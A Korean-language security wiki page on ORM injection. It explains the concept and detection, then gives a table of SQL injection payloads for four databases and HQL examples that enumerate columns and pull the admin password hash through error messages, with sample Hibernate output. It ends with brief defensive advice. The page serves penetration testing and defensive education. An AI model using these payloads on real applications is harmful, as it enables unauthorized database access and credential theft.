ORM Injection
Introduction
ORM Injection은 ORM(Object Relational Mapping) Layer에서 발생하는 Injection 공격으로 SQL Injection과 밀접한 연관성을 가지고 있습니다.
ORM(Object Relational Mapping)은 소스코드 상의 Object와 RDBMS의 Data를 자동으로 매핑하는 기술로 Object가 영속성(Persistence)를 가질게 할 수 있습니다. 대표적으로 Hibernate, Laravel의 Eloquent, Django/Rails의 ActiveRecord 등이 있습니다.
공격자는 ORM 도구로 생성된 database access layer 코드에 존재하는 취약점이나 개발자가 ORM을 활용하는 과정에서의 문제점들을 이용해 SQL Command를 Injection할 수 있습니다. ORM 도구나 프레임워크를 사용하고, 데이터의 Access Layer를 사용한다는 점으 제외하면 SQL Injection과 거의 유사합니다.
Offensive techniques
Detect
ORM을 사용하는 서비스의 경우 상대적으로 SQL Query를 직접 사용하는 어플리케이션 보단 안전할 수 있습니다. 다만 Object에 매핑된 기능을 처리하는 과정에서 개발자가 실수할 수도 있고 구버전의 ORM 프레임워크 등을 사용하는 경우 알려진 공개 취약점에 의해 영향받을 수 있습니다.
ORM이 자주 활용되는 프레임워크로 만들어진 어플리케이션의 경우 관련 공개 취약점과 구현된 부분에 대한 테스팅으로 식별할 수 있습니다.
- Ruby on Rails
- Django
- Laravel
- JPA(Hibernate) 등
Wappalyzer 같은 도구를 활용하면 쉽게 서비스를 식별할 수 있습니다. 나머지 테스팅 부분은 SQL Injection과 동일합니다.
Magic Functions
DBMS | SQL Injection |
---|---|
MySQL | abc\' INTO OUTFILE -- |
PostgreSQL | $$='$$=chr(61)\|\|chr(0x27) and 1=pg_sleep(2)\|\|version()' |
Oracle | NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1' |
MS SQL | 1<LEN(%C2%A0(select%C2%A0top%C2%A01%C2%A0name%C2%A0from%C2%A0users) |
Exploitation
Cullinan > SQL Injection > Exploitation 참고
HQL
Enum Columns
from BlogPosts
where title like '%'
and DOESNT_EXIST=1 and ''='%' --
and published = true
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
Bypass Auth with Error Based
from BlogPosts
where title like '%11'
and (select password from User where username='admin')=1
or ''='%'
and published = true
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
Bypass protection
Cullinan > SQL Injection > Bypass Protection 참고
Defensive techniques
ORM 프레임워크를 사용한다고 완벽하게 안전하지 않습니다. 공개 취약점에 대한 모니터링과 주기적인 업데이트가 필요하며, ORM의 Object의 데이터를 사용자로 부터 받는 경우 입력 값 검증이 필요합니다. 입력 값 검증에 대한 자세한 내용은 Cullinan > SQL Injection > Bypass Protection 부분을 참고하시길 바랍니다.